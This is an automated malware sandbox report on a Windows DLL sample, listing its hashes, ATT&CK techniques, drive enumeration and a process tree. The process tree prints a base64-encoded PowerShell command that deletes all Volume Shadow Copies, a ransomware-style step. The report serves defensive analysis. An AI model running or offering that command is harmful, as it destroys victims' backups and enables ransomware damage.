77f8df8ed8c7655aec8a386465bcd2c649350671f9400af3711a335fbc1c8c97

Analysis

max time kernel
142s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28/05/2024, 01:29

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General

Target

7b3d6224d8a3713471864c85b8834a4d_JaffaCakes118.dll
Size

166KB
MD5

7b3d6224d8a3713471864c85b8834a4d
SHA1

0cd00ace020606adfa5046e0e9f518690f403bf3
SHA256

77f8df8ed8c7655aec8a386465bcd2c649350671f9400af3711a335fbc1c8c97
SHA512

e1436b50a5be499b69c33166cf09f3f77a57f0e2f712b679ede0e52b8fbae278c31e447297ec151428e4de44fe4026f9f97317c9a9947dc089ee235fc9250057
SSDEEP

3072:MJMawtnGqtWoKeZ9fh1CgnNto6jfvEIDiOA:Ww9vteqJggn7oUfpD

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4752	rundll32.exe
4752	rundll32.exe
4032	powershell.exe
4032	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4752	rundll32.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeBackupPrivilege	3088	vssvc.exe
Token: SeRestorePrivilege	3088	vssvc.exe
Token: SeAuditPrivilege	3088	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 4752	2220	rundll32.exe	90
PID 2220 wrote to memory of 4752	2220	rundll32.exe	90
PID 2220 wrote to memory of 4752	2220	rundll32.exe	90
PID 4752 wrote to memory of 4032	4752	rundll32.exe	91
PID 4752 wrote to memory of 4032	4752	rundll32.exe	91

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\7b3d6224d8a3713471864c85b8834a4d_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\7b3d6224d8a3713471864c85b8834a4d_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4032

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3088

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3828 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:8
1⤵
PID:4800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qzimdruf.vrt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4032-0-0x00007FFEAB903000-0x00007FFEAB905000-memory.dmp

Filesize
8KB

Download
memory/4032-10-0x000001F57F3B0000-0x000001F57F3D2000-memory.dmp

Filesize
136KB

Download
memory/4032-11-0x00007FFEAB900000-0x00007FFEAC3C1000-memory.dmp

Filesize
10.8MB

Download
memory/4032-12-0x00007FFEAB900000-0x00007FFEAC3C1000-memory.dmp

Filesize
10.8MB

Download
memory/4032-13-0x00007FFEAB900000-0x00007FFEAC3C1000-memory.dmp

Filesize
10.8MB

Download
memory/4032-16-0x00007FFEAB900000-0x00007FFEAC3C1000-memory.dmp

Filesize
10.8MB

Download